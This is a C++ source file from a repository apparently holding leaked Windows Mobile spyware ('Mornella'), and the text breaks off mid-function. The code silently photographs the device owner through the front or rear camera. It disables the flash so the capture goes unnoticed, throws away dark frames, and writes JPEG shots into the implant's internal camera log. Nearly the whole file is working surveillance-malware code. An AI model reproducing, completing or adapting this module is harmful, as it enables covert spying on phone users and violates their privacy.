hackedteam/core-winmobile

View on GitHub
Mornella/Mornella_Mobile/Camera.cpp

Summary

Maintainability
Test Coverage
#include <dshow.h>
#include <windows.h>
#include <Mtype.h>
#include <pm.h>
#include "PropertyBag.h"
#include "Log.h"
#include "Camera.h"

#include <excpt.h>

#include <imaging.h>
#include <gdiplusenums.h>
#include <new>

#define MYDEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \
    EXTERN_C const GUID name \
    = { l, w1, w2, { b1, b2,  b3,  b4,  b5,  b6,  b7,  b8 } }

HANDLE g_hCallbackCompleted = INVALID_HANDLE_VALUE;
HANDLE g_hSaveImageCompleted = INVALID_HANDLE_VALUE;

BOOL IsReversed = FALSE;

EXTERN_C const GUID CLSID_SampleGrabber;
EXTERN_C const GUID IID_ISampleGrabber;

#define CHECK_RESULT(x) if (x != S_OK) {                                        \
    DBG_TRACE(L"Debug - Camera.cpp - CamGrabFrame FAILED [??]\n", 5, FALSE);    \
    break;                                                                        \
}

typedef void (CALLBACK *MANAGEDCB)(LPVOID filter, BYTE* pdata, long len);
//typedef void (*MANAGEDCB)(LPVOID filter, BYTE* pdata, long len);
DECLARE_INTERFACE_(ISampleGrabber, IUnknown) {
    STDMETHOD(RegisterCallback)(MANAGEDCB callback) PURE;
};

#define LIMIT(x) (unsigned char) ((x > 255) ? 255 : ((x < 0) ? 0 : x ))
const WORD red_mask_565 = 0xF800;
const WORD green_mask_565 = 0x7E0;
const WORD blue_mask_565 = 0x1F;
#define R_565(ptr) LIMIT(((ptr & red_mask_565)   >> 11)<< 3)
#define G_565(ptr) LIMIT(((ptr & green_mask_565) >>  5)<< 2)
#define B_565(ptr) LIMIT( (ptr & red_mask_565)         << 3)

#include "SampleGrabberFilter.h"

////////////////////////
const GUID guidCAMCamera = { 0xCB998A05, 0x122C, 0x4166, 0x84, 0x6A, 0x93, 0x3E, 0x4D, 0x7E, 0x3C, 0x86 };

MYDEFINE_GUID(My_IID_IBasicBitmapOps, 0x327abdaf,0x072b,0x11d3,0x9d,0x7b,0x00,0x00,0xf8,0x1e,0xf3,0x2e); 
const GUID My_CLSID_ImagingFactory    = { 0x327abda8,0x072b,0x11d3,{0x9d,0x7b,0x00,0x00,0xf8,0x1e,0xf3,0x2e} };
const GUID My_CLSID_EncoderQuality    = { 0x1d5be4b5,0xfa4a,0x452d,{0x9c,0xdd,0x5d,0xb3,0x51,0x05,0xe7,0xeb} };
const GUID My_CLSID_IImage            = { 0x327abda9,0x072b,0x11d3,{0x9d,0x7b,0x00,0x00,0xf8,0x1e,0xf3,0x2e} };
////////////////////////

#define LOW_THRESHOLD 20
#define HIGH_THRESHOLD 255-LOW_THRESHOLD
#define TH_STEP 25
#define MAX 255
#define MIN 0
BOOL CheckImageSimple(BYTE* pData, long len)
{    
    if (pData == NULL || len == 0) {
        return FALSE;
    }

    BYTE gray, r, g, b;
    BYTE min = 0, max = 0, thmin = MIN, thmax = MAX;
    WORD *wPtr1 = NULL, *wPtr2 = NULL;
    DWORD dwAvgSum = 0, dwCount = 0, tmpAvg = 0, dwMagenta = 1;

    wPtr2 = wPtr1 = (WORD*)pData;

    min = max = (BYTE)(0.1140 * B_565(*wPtr1) + 0.5870 * G_565(*wPtr1) + 0.2989 * R_565(*wPtr1));

    while (wPtr1 < wPtr2 + (len / 2)) {
        r =    R_565(*wPtr1);
        g =    G_565(*wPtr1);
        b = B_565(*wPtr1);

        gray = (BYTE)(0.1140 * b + 0.5870 * g + 0.2989 * r);

        if (gray < min) 
            min = gray;

        if (gray > max) 
            max = gray;

        dwAvgSum +=    gray;
        dwCount++;
        wPtr1++;
    }

    if (dwCount == 0) {
        return FALSE;
    }

    tmpAvg = dwAvgSum / dwCount;
    
    if (tmpAvg > LOW_THRESHOLD && tmpAvg < HIGH_THRESHOLD) {
        (tmpAvg > (DWORD)MIN + TH_STEP) ? thmin = (BYTE)tmpAvg - TH_STEP: thmin = MIN;
        (tmpAvg < (DWORD)MAX - TH_STEP) ? thmax = (BYTE)tmpAvg + TH_STEP: thmax = MAX;
        
        if (min < thmin && max > thmax ) { //i valori min e max della luminosita' sono sufficentemente lontani dalla media
            return TRUE;
        } else {
            return FALSE;
        }
    }

    return FALSE;
}

void SaveImage(BitmapData *pBmpData)
{
    HRESULT hr = E_FAIL;
    ULONG ulLen = 0;
    BOOL bEncoderFound = FALSE;
    UINT uEncCount = 0, i;
    GUID guidJpeg;
    IImageSink *pImageSink = NULL;
    IImagingFactory *pImgFactory = NULL;
    IBitmapImage *pBitmap = NULL;
    IImage *pInImage = NULL;
    IStream *pOutStream = NULL;
    IImageEncoder *pImageEncoder = NULL;
    ImageCodecInfo *encoders = NULL, *ePtr = NULL;

    if (pBmpData == NULL) {
        return;
    }

    hr = CoCreateInstance(My_CLSID_ImagingFactory,
                          NULL,
                          CLSCTX_INPROC_SERVER,
                          __uuidof(IImagingFactory),
                          (void**)&pImgFactory);

    if (hr != S_OK) {
        return;
    }

    hr = pImgFactory->CreateBitmapFromBuffer(pBmpData, &pBitmap);

    if (SUCCEEDED(hr)) {
        if (IsReversed) {
            IBasicBitmapOps    *pBitmapOps = NULL;

            if (SUCCEEDED(pBitmap->QueryInterface(My_IID_IBasicBitmapOps, (VOID**)&pBitmapOps))) {
                if (pBitmapOps) {
                    pBitmap->Release();
                    pBitmap = NULL;
                    hr = pBitmapOps->Flip(FALSE, TRUE, &pBitmap);
                }

                pBitmapOps->Release();
                pBitmapOps = NULL;
            }
        }

        if (!pBitmap) {
            if (pImgFactory)
                pImgFactory->Release();

            if (pBmpData)
                delete pBmpData;

            return;
        }

        hr = pBitmap->QueryInterface(__uuidof(IImage), (void**)&pInImage);

        if (FAILED(hr)) {
            if (pImgFactory)
                pImgFactory->Release();

            if (pBmpData)
                delete pBmpData;

            return;
        }

        ////////////////////////////////////////////////////////////////////////////////////
        // Cerco un Encoder jpeg
        hr = pImgFactory->GetInstalledEncoders(&uEncCount, &encoders);

        if (FAILED(hr)) {
            if (pImgFactory)
                pImgFactory->Release();

            if (pInImage)
                pInImage->Release();

            if (pBmpData)
                delete pBmpData;

            return;
        }

        for (i = 0, ePtr = encoders; i < uEncCount; i++) {
            if (wcscmp(ePtr->FormatDescription, L"JPEG") == 0) {
                CopyMemory(&guidJpeg, &(ePtr->Clsid), sizeof(GUID));
                bEncoderFound = TRUE;
                break;
            }
            ePtr++;
        }

        // Configuro l'encode jpeg
        if (bEncoderFound && 
            SUCCEEDED(CreateStreamOnHGlobal(NULL, TRUE, &pOutStream)) &&
            SUCCEEDED(pImgFactory->CreateImageEncoderToStream((CLSID*)&guidJpeg, pOutStream, &pImageEncoder ))) {

            // Encoder parameters
            EncoderParameters* ParamsList = NULL;
            LONG lQuality = CAMERA_DEFAULT_JPEG_QUALITY;
            UINT uParamNumber = 1;
            EncoderParameter *pPar = NULL;
            ParamsList = (EncoderParameters*)CoTaskMemAlloc(sizeof (EncoderParameters) + (uParamNumber-1) * sizeof(EncoderParameter));
            
            if (ParamsList) {
                ParamsList->Count = uParamNumber;
                pPar = &(ParamsList->Parameter[0]);
                pPar->Guid           = My_CLSID_EncoderQuality;
                pPar->NumberOfValues = 1;
                pPar->Type           = EncoderParameterValueTypeLong;
                pPar->Value          = (void *)&lQuality;

                if (pImageEncoder)
                    hr = pImageEncoder->SetEncoderParameters(ParamsList);

                CoTaskMemFree(ParamsList);
                ParamsList = NULL;
            }

            if (pImageEncoder) 
                hr = pImageEncoder->GetEncodeSink(&pImageSink);
            else 
                hr = E_FAIL;

            if (SUCCEEDED(hr)) {
                hr = pInImage->PushIntoSink(pImageSink);

                if (SUCCEEDED(hr)) {
                    LARGE_INTEGER liZero;
                    BYTE rgbBuffer[2000];
                    ULONG uRead = 0;
                    Log CameraLog;

                    if (CameraLog.CreateLog(LOGTYPE_CAMSHOT, NULL, 0, FLASH)) {
                        liZero.HighPart = liZero.LowPart = 0;
                        pOutStream->Seek(liZero, STREAM_SEEK_SET, NULL);

                        do {
                            uRead = 0;
                            pOutStream->Read(rgbBuffer, sizeof(rgbBuffer), &uRead);

                            if (uRead)
                                CameraLog.WriteLog(rgbBuffer, uRead);
                        } while (uRead);

                        CameraLog.CloseLog();
                    }
                }
            }
        }
    }

    if (encoders) {
        CoTaskMemFree(encoders);
        encoders = NULL;
    }

    if (pImageSink) {
        pImageSink->Release();
        pImageSink = NULL;
    }

    if (pImageEncoder) {
        pImageEncoder->Release();  
        pImageEncoder = NULL;
    }

    if (pBitmap) {
        pBitmap->Release();
        pBitmap = NULL;
    }

    if (pInImage) {
        pInImage->Release();
        pInImage = NULL;
    }

    if (pImgFactory) {
        pImgFactory->Release();
        pImgFactory = NULL;
    }

    if (pBmpData)
        delete pBmpData;

    if (pOutStream) {
        pOutStream->Release();
        pOutStream = NULL;
    }
}

void OnSampleProcessed(CSampleGrabberFilter *filter, BYTE* pData, long len)
{
    UINT uBitMulti = 2;

    __try {

        if (filter == NULL || pData == NULL || len < 500) {
            DBG_TRACE(L"Debug - Camera.cpp - OnSampleProcessed FAILED [0]\n", 5, FALSE);
            return;
        }

        BYTE *pBuf = NULL;
        pBuf = new(std::nothrow) BYTE[len];
        if (pBuf == NULL) {
            DBG_TRACE(L"Debug - Camera.cpp - OnSampleProcessed FAILED [1]\n", 5, FALSE);
            return;
        }

        BitmapData *pBmpData = NULL;
        pBmpData = new(std::nothrow) BitmapData;
        if (pBmpData == NULL) {
            delete[] pBuf;
            DBG_TRACE(L"Debug - Camera.cpp - OnSampleProcessed FAILED [2]\n", 5, FALSE);
            return;
        }

        pBmpData->Height = abs(filter->_lHeight);
        pBmpData->Width = abs(filter->_lWidth);

        INT err = memcpy_s(pBuf, len, pData, len);
        if (err != 0) {
            delete[] pBuf;
            delete pBmpData;
            return;
        }

        if (CheckImageSimple(pBuf, len) == FALSE) {
            DBG_TRACE(L"Debug - Camera.cpp - OnSampleProcessed Image discarded after CheckImageSimple\n", 5, FALSE);
            delete[] pBuf;
            delete pBmpData;
            return;
        } 

        //  Riempio pBitmapData
        pBmpData->PixelFormat = PixelFormat16bppRGB565;
        pBmpData->Stride = pBmpData->Width*uBitMulti;
        pBmpData->Scan0 = pBuf;
        pBmpData->Reserved = 0;

        SaveImage(pBmpData);

        delete pBmpData;
        delete[] pBuf;
        SetEvent(g_hCallbackCompleted);
        SetEvent(g_hSaveImageCompleted);

    } __except (EXCEPTION_EXECUTE_HANDLER) {
        DBG_TRACE(L"Debug - SampleGrabberFilter.cpp - Callback Exception \n", 5, FALSE);
    }
}

BOOL SetVideoCaps(ICaptureGraphBuilder2* pCaptureGraphBuilder, IBaseFilter* pVideoCapture, DWORD dwMode)
{
    HRESULT hr;
    INT iCount, iSize, i, index = 0;
    LONG lTmpWidth = 0;
    VIDEO_STREAM_CONFIG_CAPS scc;
    VIDEOINFOHEADER *pVIH;
    BITMAPINFOHEADER *pBH;
    AM_MEDIA_TYPE *pmt = NULL;
    IAMStreamConfig *pStreamConfig = NULL;
    BOOL bOut = FALSE;

    if (dwMode == MODE_STILL) {
        hr = pCaptureGraphBuilder->FindInterface(&PIN_CATEGORY_STILL,
                &MEDIATYPE_Video,
                pVideoCapture,
                IID_IAMStreamConfig,
                (void**) &pStreamConfig);
    } else {
        hr = pCaptureGraphBuilder->FindInterface(&PIN_CATEGORY_CAPTURE,
                &MEDIATYPE_Video,
                pVideoCapture,
                IID_IAMStreamConfig,
                (void**) &pStreamConfig);
    }

    if (SUCCEEDED(hr)) {
        hr = pStreamConfig->GetNumberOfCapabilities(&iCount, &iSize);

        if (SUCCEEDED(hr)) {
            for (i = 0; i < iCount; i++) {
                ZeroMemory(&scc, sizeof(VIDEO_STREAM_CONFIG_CAPS));
                hr = pStreamConfig->GetStreamCaps(i, &pmt, (BYTE*)&scc);

                if (SUCCEEDED(hr)) {
                    if ((pmt->formattype == FORMAT_VideoInfo) && 
                        (pmt->cbFormat > sizeof(VIDEOINFOHEADER)) &&
                        (pmt->pbFormat != NULL)) {

                            pVIH = (VIDEOINFOHEADER*) pmt->pbFormat;
                            pBH = &(pVIH->bmiHeader);

                            if (pBH->biHeight < 0)
                                IsReversed = TRUE;
                            else
                                IsReversed = FALSE;

                            if (pBH->biWidth <= MAX_WIDTH) {
                                if (pBH->biWidth > lTmpWidth) {
                                    index = i;
                                    bOut = TRUE;
                                    lTmpWidth = pBH->biWidth;
                                }
    
                                if (pBH->biWidth == PREFERRED_WIDTH) {
                                    index = i;
                                    bOut = TRUE;
                                    DeleteMediaType(pmt);
                                    break;
                                }
                            }
                    }
                    DeleteMediaType(pmt);
                }
            }

            ZeroMemory(&scc, sizeof(VIDEO_STREAM_CONFIG_CAPS));
            hr = pStreamConfig->GetStreamCaps(index, &pmt, (BYTE*)&scc);
            hr = pStreamConfig->SetFormat(pmt);
            DeleteMediaType(pmt);
        }

        if (pStreamConfig) 
            pStreamConfig->Release();
    }
    return bOut;
}

void ReadAndSetCameraSettings(IBaseFilter* pVideoCapture, long *savedFlashState)
{
    IAMCameraControl *pAMCamctrl = NULL;
    long CurrVal = 0, CapsFlags = 0;

    if (pVideoCapture == NULL || savedFlashState == NULL) {
        //DBG_TRACE(L"Debug - Camera.cpp - ReadAndSetCameraSettings FAILED [0]\n", 5, FALSE);
        return;
    }

    HRESULT hr = pVideoCapture->QueryInterface(IID_IAMCameraControl, (void**) &pAMCamctrl);

    if (FAILED(hr)) {
        //DBG_TRACE(L"Debug - Camera.cpp - ReadAndSetCameraSettings FAILED [1]\n", 5, FALSE);
        return;
    }

    pAMCamctrl->Get(CameraControl_Flash, &CurrVal, &CapsFlags);
    *savedFlashState = CapsFlags;
    pAMCamctrl->Set(CameraControl_Flash, 0, 2);
    pAMCamctrl->Release();
    return;
}

void RestoreCameraSettings(IBaseFilter* pVideoCapture, long *savedFlashState)
{
    IAMCameraControl *pAMCameraCtrl = NULL;

    if (pVideoCapture == NULL || savedFlashState == NULL) {
        return;
    }

    HRESULT hr = pVideoCapture->QueryInterface(IID_IAMCameraControl, (void**)&pAMCameraCtrl);

    if (FAILED(hr)) {
        return;
    }

    pAMCameraCtrl->Set(CameraControl_Flash, 0, *savedFlashState);        
    pAMCameraCtrl->Release();
    return;
}

void ReadAndSetVideoSettings(IBaseFilter* pVideoCapture, int *savedAutoSettings, int *savedValueSettings)
{
    IAMVideoProcAmp *pAMVideoProcAmp;
    long CurrVal = 0, Min = 0, Max = 0, SteppingDelta = 0, Default = 0, CapsFlags = 0, AvailableCapsFlags = 0;

    if (pVideoCapture == NULL || savedAutoSettings == NULL || savedValueSettings == NULL) {
        return;
    }

    HRESULT hr = pVideoCapture->QueryInterface(IID_IAMVideoProcAmp, (void**)&pAMVideoProcAmp);

    if (FAILED(hr)) {
        return;
    }

    for (INT i = 0; i < 9; i++) {
        hr = pAMVideoProcAmp->GetRange(i, &Min, &Max, &SteppingDelta, &Default, &AvailableCapsFlags);    

        if (SUCCEEDED(hr)) {
            pAMVideoProcAmp->Get(i, &CurrVal, &CapsFlags);

            if (SUCCEEDED(hr)) {
                savedAutoSettings[i] = CapsFlags;
                savedValueSettings[i] = CurrVal;        
            }

            hr = pAMVideoProcAmp->Set(i, Default, VideoProcAmp_Flags_Auto);

            if (FAILED(hr))
                hr = pAMVideoProcAmp->Set(i, Default, VideoProcAmp_Flags_Manual);
        }
    }

    pAMVideoProcAmp->Release();
    return;
}

void RestoreVideoSettings(IBaseFilter* pVideoCapture, int *savedAutoSettings, int *savedValueSettings)
{
    IAMVideoProcAmp *pAMVideoProcAmp;

    if (pVideoCapture == NULL || savedAutoSettings == NULL || savedValueSettings == NULL) {
        return;
    }

    HRESULT hr = pVideoCapture->QueryInterface(IID_IAMVideoProcAmp, (void**)&pAMVideoProcAmp);

    if (FAILED(hr)) {
        return;
    }

    for (INT i = 0; i < 9; i++) {
        hr = pAMVideoProcAmp->Set(i, savedValueSettings[i], savedAutoSettings[i]);
    }

    pAMVideoProcAmp->Release();
    return;
}

HRESULT LoadCameraDriver(IPersistPropertyBag *pPersPropBag, CPropertyBag* PropBag, INT *iResult)
{
    HRESULT hr = E_FAIL;

    __try {
        hr = pPersPropBag->Load(&(*PropBag), NULL);    
        if (hr != S_OK) {
            DBG_TRACE_INT(L"Camera.cpp GrabFrame Load: ", 5, FALSE, hr);
        }
    } __except(EXCEPTION_EXECUTE_HANDLER) {
        *iResult = OUT_ERROR_EXCEPTION;
        DBG_TRACE(L"Camera.cpp GrabFrame exception: ", 5, FALSE);
    }
    return hr;
}

INT CamGrabFrame(BSTR pBstrCam, DWORD dwMode)
{
    HRESULT hr = E_FAIL;
    INT iResult = OUT_ERROR_INIT;

    ICaptureGraphBuilder2*    pCaptureGraphBuilder = NULL;
    IGraphBuilder*            pGraph = NULL;

    IBaseFilter* pVideoCapture = NULL;
    IBaseFilter* pImageSinkBase = NULL;
    IMediaControl* pMediaControl = NULL;
    ISampleGrabber* pSampleGrabber = NULL;
    CSampleGrabberFilter *pGrabber = NULL;
    IBaseFilter* pBaseFilterGrabber = NULL;
    IBaseFilter* pColorSpaceConverter = NULL;

    IUnknown*  pUnkCaptureFilter = NULL;
    IPin*    pStillPin = NULL;
    IAMVideoControl * pVideoControl = NULL; 

    CPropertyBag PropBag;
    VARIANT varCamName;
    IPersistPropertyBag* pPersPropBag = NULL;
    IEnumPins *pEnum = NULL;

    IPin *pPinColorOut = NULL;
    IPin *pPinColorIn = NULL;
    IPin *pPinGrabberIn = NULL;
    IPin *pPinGrabberOut = NULL;
    IPin *pPinSinkIn = NULL;

    INT savedAutoSettings[9] = {0,0,0,0,0,0,0,0,0};
    INT savedValueSettings[9] = {0,0,0,0,0,0,0,0,0};
    long savedFlashState = 2;

    do {
        // crea il filtergraph manager
        hr = CoCreateInstance(CLSID_FilterGraph,
                                NULL,
                                CLSCTX_INPROC_SERVER,
                                IID_IGraphBuilder,
                                (LPVOID *)&pGraph);

        CHECK_RESULT(hr);

        iResult = OUT_ERROR_GRAPHBUILD;

        // crea il capture graph builder
        hr = CoCreateInstance(    CLSID_CaptureGraphBuilder,
                                NULL,
                                CLSCTX_INPROC_SERVER,
                                IID_ICaptureGraphBuilder2,
                                (LPVOID *)&pCaptureGraphBuilder );

        CHECK_RESULT(hr);

        // seleziona il filtergraph da usare
        hr = pCaptureGraphBuilder->SetFiltergraph(pGraph);
        CHECK_RESULT(hr);

        // Media Control
        hr = pGraph->QueryInterface(IID_IMediaControl, (void **)&pMediaControl);
        CHECK_RESULT(hr);

        // Capture filter
        hr = CoCreateInstance(CLSID_VideoCapture,
                                NULL,
                                CLSCTX_INPROC,
                                IID_IBaseFilter,
                                (VOID**)&pVideoCapture);
        CHECK_RESULT(hr);

        // Load driver e add Capture Filter
        hr = pVideoCapture->QueryInterface(&pPersPropBag);
        CHECK_RESULT(hr);

        varCamName.vt = VT_BSTR;
        varCamName.bstrVal = pBstrCam;

        PropBag.Write(L"VCapName", &varCamName);

        iResult = OUT_ERROR_LOADCAMDRIVER;
        
        hr = LoadCameraDriver(pPersPropBag, &PropBag, &iResult);
        //hr = pPersPropBag->Load(&PropBag, NULL);
        CHECK_RESULT(hr);

        hr = pGraph->AddFilter(pVideoCapture, L"Video Capture Source");
        CHECK_RESULT(hr);
        
        pPersPropBag->Release();

        if (SetVideoCaps(pCaptureGraphBuilder, pVideoCapture, dwMode) == FALSE) {
            iResult = OUT_ERROR_VIDEOCAPS;
            break;
        }
        
        iResult = OUT_ERROR_ADDFCAPTURE;

        // Sink Filter
        hr = CoCreateInstance(CLSID_IMGSinkFilter,
                                NULL,
                                CLSCTX_INPROC,
                                IID_IBaseFilter,
                                (void**)&pImageSinkBase);
        CHECK_RESULT(hr);

        hr =  pGraph->AddFilter(pImageSinkBase, _T("Still image filter"));
        CHECK_RESULT(hr);

        // SampleGrabber
        pGrabber = (CSampleGrabberFilter*) CSampleGrabberFilter::CreateInstance(NULL, &hr);
        if (pGrabber == NULL) {
            break;
        }
        CHECK_RESULT(hr);

        pGrabber->AddRef();

        hr = pGrabber->QueryInterface(IID_IBaseFilter, (VOID**)&pBaseFilterGrabber);
        CHECK_RESULT(hr);

        hr = pGraph->AddFilter(pBaseFilterGrabber, L"SampleGrabberFilter");
        CHECK_RESULT(hr);

        hr = pBaseFilterGrabber->QueryInterface(IID_ISampleGrabber, (VOID**)&pSampleGrabber);
        CHECK_RESULT(hr);

        MANAGEDCB mcb = (MANAGEDCB)OnSampleProcessed;
        hr = pSampleGrabber->RegisterCallback(mcb);
        CHECK_RESULT(hr);

        // ColorSpaceConverter
        hr = CoCreateInstance(CLSID_Colour,
                                NULL,
                                CLSCTX_INPROC_SERVER,
                                IID_IBaseFilter,
                                (void**)&pColorSpaceConverter);
        CHECK_RESULT(hr);

        hr = pGraph->AddFilter(pColorSpaceConverter, L"ColorSpaceConverter");
        CHECK_RESULT(hr);

        // Start graph connect
        iResult = OUT_ERROR_FILTERAUTOCONNECT;

        // RenderStream  VideoCapture <--> ColorSpaceConverter
        if (dwMode == MODE_STILL) {
            hr = pCaptureGraphBuilder->RenderStream(&PIN_CATEGORY_STILL,
                                                    &MEDIATYPE_Video,
                                                    pVideoCapture,
                                                    pColorSpaceConverter,
                                                    pImageSinkBase);
        } else {
            hr = pCaptureGraphBuilder->RenderStream(&PIN_CATEGORY_CAPTURE,
                                                    &MEDIATYPE_Video,
                                                    pVideoCapture,
                                                    pColorSpaceConverter,
                                                    pImageSinkBase);
        }
        // In questo caso posso avere dei valori diversi da S_OK ma comunque corretti
        if (FAILED(hr)) break;

        // Sconnettiamo ColorSpace filter
        hr = pColorSpaceConverter->EnumPins(&pEnum);
        CHECK_RESULT(hr);

        hr = pEnum->Next(1, &pPinColorIn, 0);
        CHECK_RESULT(hr);

        hr = pEnum->Next(1, &pPinColorOut, 0);
        CHECK_RESULT(hr);

        hr = pPinColorOut->Disconnect();

        pEnum->Release();
        pEnum = NULL;

        // Connettiamo il ColorSpace filter al grabber
        hr = pBaseFilterGrabber->EnumPins(&pEnum);
        CHECK_RESULT(hr);

        hr = pEnum->Next(1, &pPinGrabberIn, 0);        // Input e' sempre il primo?
        CHECK_RESULT(hr);

        hr = pEnum->Next(1, &pPinGrabberOut, 0);    // Input e' sempre il primo?
        CHECK_RESULT(hr);

        hr = pGraph->ConnectDirect(pPinColorOut, pPinGrabberIn, NULL);
        CHECK_RESULT(hr);

        pEnum->Release();
        pEnum = NULL;

        // Connettiamo il grabber filter al Sink
        hr = pImageSinkBase->EnumPins(&pEnum);
        CHECK_RESULT(hr);

        hr = pEnum->Next(1, &pPinSinkIn, 0);    // Input e' sempre il primo?
        CHECK_RESULT(hr);

        hr = pPinSinkIn->Disconnect();
        hr = pGraph->ConnectDirect(pPinGrabberOut, pPinSinkIn, NULL);
        CHECK_RESULT(hr);

        g_hCallbackCompleted = CreateEvent(NULL, TRUE, FALSE, NULL);
        g_hSaveImageCompleted = CreateEvent(NULL, TRUE, FALSE, NULL);

        if (g_hCallbackCompleted == NULL || g_hSaveImageCompleted == NULL)
            break;

        // Salvo i settaggi e provo a impostare quelli correnti su "auto"
        ReadAndSetVideoSettings(pVideoCapture, savedAutoSettings, savedValueSettings);

        // Disabilitiamo il flash
        ReadAndSetCameraSettings(pVideoCapture, &savedFlashState);

        // Run dell stream
        hr = pMediaControl->Run();
        CHECK_RESULT(hr);
        
        Sleep(500);

        if (dwMode == MODE_STILL) {
            hr = pVideoCapture->QueryInterface(&pUnkCaptureFilter);
            CHECK_RESULT(hr);

            hr = pCaptureGraphBuilder->FindPin(    pUnkCaptureFilter,    // Filter
                                                PINDIR_OUTPUT,        // Looking for an output pin
                                                &PIN_CATEGORY_STILL,//CAPTURE,//STILL,// Pin category
                                                &MEDIATYPE_Video,    
                                                FALSE, 0,            // Pin must be connected // First pin
                                                &pStillPin);        // OUT pointer to the pin
            CHECK_RESULT(hr);

            hr = pVideoCapture->QueryInterface(&pVideoControl);
            CHECK_RESULT(hr);

            hr = pVideoControl->SetMode(pStillPin, VideoControlFlag_Trigger);
        }
    
        DWORD dwOut = WaitForSingleObject(g_hCallbackCompleted, 1500);
        iResult = dwOut;

        ResetEvent(g_hCallbackCompleted);

        hr = pMediaControl->Stop();

        RestoreCameraSettings(pVideoCapture, &savedFlashState);
        RestoreVideoSettings(pVideoCapture, savedAutoSettings, savedValueSettings);

    } while(0);
    
    // --------- Rilascio oggetti --------- 
    if (pEnum)
        pEnum->Release();

    if (pVideoCapture) {
        pVideoCapture->Stop();
        SafeDownstreamRelease(pGraph, pVideoCapture);
    }

    if (pPinColorIn) {
        pPinColorIn->Disconnect();
        pPinColorIn->Release();
    }

    if (pPinColorOut) {
        pPinColorOut->Disconnect();
        pPinColorOut->Release();
    }

    if (pPinGrabberIn) {
        pPinGrabberIn->Disconnect();
        pPinGrabberIn->Release();
    }

    if (pPinGrabberOut) {
        pPinGrabberOut->Disconnect();
        pPinGrabberOut->Release();
    }

    if (pPinSinkIn) {
        pPinSinkIn->Disconnect();
        pPinSinkIn->Release();
    }

    if (pMediaControl)
        pMediaControl->Release();

    if (pUnkCaptureFilter)    
        pUnkCaptureFilter->Release();

    if (pStillPin) {
        pStillPin->Disconnect();
        pStillPin->Release();
    }

    if (pVideoControl)    
        pVideoControl->Release();

    // Capture filter
    if (pVideoCapture) {
        pGraph->RemoveFilter(pVideoCapture);        
        pVideoCapture->Release();
    }

    // Sample grabber
    if (pBaseFilterGrabber) {
        pGraph->RemoveFilter(pBaseFilterGrabber);
        pBaseFilterGrabber->Release();
    }

    if (pSampleGrabber) 
        pSampleGrabber->Release();

    if (pGrabber)
        delete pGrabber;

    // ColorSpace
    if (pColorSpaceConverter) {
        pGraph->RemoveFilter(pColorSpaceConverter);
        pColorSpaceConverter->Release();
    }

    if (pImageSinkBase)    {
        pGraph->RemoveFilter(pImageSinkBase); 
        pImageSinkBase->Release();
    }

    if (pCaptureGraphBuilder)
        pCaptureGraphBuilder->Release();

    if (pGraph) {
        pGraph->Release();
    }

    if (g_hCallbackCompleted != INVALID_HANDLE_VALUE)
        CloseHandle(g_hCallbackCompleted);

    g_hCallbackCompleted = INVALID_HANDLE_VALUE;

    WaitForSingleObject(g_hSaveImageCompleted, 500);
    ResetEvent(g_hSaveImageCompleted);

    if (g_hSaveImageCompleted != INVALID_HANDLE_VALUE)
        CloseHandle(g_hSaveImageCompleted);

    g_hSaveImageCompleted = INVALID_HANDLE_VALUE;

    return iResult;
}


VOID SafeDownstreamRelease(IGraphBuilder* pGraphBuilder, IBaseFilter* pFilter)
{
    HRESULT hr;
    IPin *pP = NULL, *pTo = NULL;    
    ULONG u;
    PIN_INFO pininfo;
    IEnumPins * pins = NULL;

    if (!pFilter)
        return;

    hr = pFilter->EnumPins(&pins);
    pins->Reset();
    
    while (hr == NOERROR) {
        hr = pins->Next(1, &pP, &u);

        if (hr == S_OK && pP) {
            pP->ConnectedTo(&pTo);
            
            if (pTo) {
                hr = pTo->QueryPinInfo(&pininfo);
                if (hr == NOERROR) {
                    if (pininfo.dir == PINDIR_INPUT) {
                        SafeDownstreamRelease(pGraphBuilder, pininfo.pFilter);
                        pGraphBuilder->Disconnect(pTo);
                        pGraphBuilder->Disconnect(pP);
                        pGraphBuilder->RemoveFilter(pininfo.pFilter);
                    }
                    pininfo.pFilter->Release();
                }
                pTo->Release();
            }
            pP->Release();
        }
    }
    
    if (pins) 
        pins->Release();
}

// Class DeviceCam
void DeviceCam::CheckDeviceInfo(WCHAR* szName)
{
    if (0 == wcscmp(L"CAM1:", szName)) {
        m_bRearCam = TRUE;
        return;
    }
    if (0 == wcscmp(L"CAM2:", szName)) {
        HANDLE hFile = CreateFile(L"\\windows\\camera_VGA.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
        
        if (hFile == INVALID_HANDLE_VALUE) {
            m_bFrontCam = TRUE;
            return;
        }        
        CloseHandle(hFile);
    } 
}

void DeviceCam::FindCamera(WCHAR* wCamName)
{
    DEVMGR_DEVICE_INFORMATION devinfo;
    ZeroMemory(&devinfo, sizeof(DEVMGR_DEVICE_INFORMATION));
    devinfo.dwSize = sizeof(DEVMGR_DEVICE_INFORMATION);

    HANDLE hSearchCam = FindFirstDevice(DeviceSearchByLegacyName, wCamName, &devinfo);
    if (INVALID_HANDLE_VALUE == hSearchCam) {
        printf ("%ls error: 0x%08x ", wCamName, GetLastError());    
        return;
    }

    CheckDeviceInfo(devinfo.szLegacyName);

    ZeroMemory(&devinfo, sizeof(DEVMGR_DEVICE_INFORMATION));
    devinfo.dwSize = sizeof(DEVMGR_DEVICE_INFORMATION);
    if (FindNextDevice(hSearchCam, &devinfo))
        CheckDeviceInfo(devinfo.szLegacyName);

    FindClose(hSearchCam);

    return;
}

DeviceCam::DeviceCam()
{
    hCam1 = NULL;    
    hCam2 = NULL;
    m_bRearCam = FALSE;
    m_bFrontCam = FALSE;
}

DeviceCam::~DeviceCam()
{
    ReleaseCamPowerState(&hCam1);
    ReleaseCamPowerState(&hCam2);
}

BOOL DeviceCam::ReleaseCamPowerState(HANDLE* hCam)
{
    DWORD dwRet = 0;

    if (*hCam == 0) {
        return FALSE;
    }

    dwRet =    ReleasePowerRequirement(*hCam);

    if (dwRet == ERROR_SUCCESS) {
        *hCam = 0;
        return TRUE;
    }

    return FALSE;
}

BOOL DeviceCam::ReleaseCam1PowerState()
{
    return ReleaseCamPowerState(&hCam1);
}

BOOL DeviceCam::ReleaseCam2PowerState()
{
    return ReleaseCamPowerState(&hCam2);
}

BOOL DeviceCam::SetCamPowerState(HANDLE* hCam, WCHAR* wString)
{
    DWORD dwRet = 0;

    if (*hCam) {
        dwRet = ReleasePowerRequirement(*hCam);
        hCam = 0;
    }

